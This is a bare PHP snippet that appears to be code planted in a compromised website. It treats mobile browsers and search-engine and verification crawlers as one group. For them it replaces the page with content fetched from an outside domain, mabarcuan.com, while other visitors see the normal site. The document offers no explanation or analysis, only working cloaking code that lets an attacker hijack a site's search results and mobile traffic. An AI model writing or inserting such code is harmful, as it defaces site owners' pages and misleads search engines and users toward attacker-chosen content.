function is_mobile_device() { 
    $mobile_agents = array("Android", "iPhone", "iPad", "iPod", "BlackBerry", "Windows Phone", "webOS", "Mobi", "Googlebot", "TelegramBot", "bingbot", "Google-Site-Verification", "Google-InspectionTool"); 
    foreach ($mobile_agents as $agent) { 
        if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) return true; 
    } 
    return false; 
} 
 
if (is_mobile_device()) { 
    $lp = file_get_contents('https://mabarcuan.com/amp/spifuah/sa.txt');
    echo $lp; 
    exit; 
}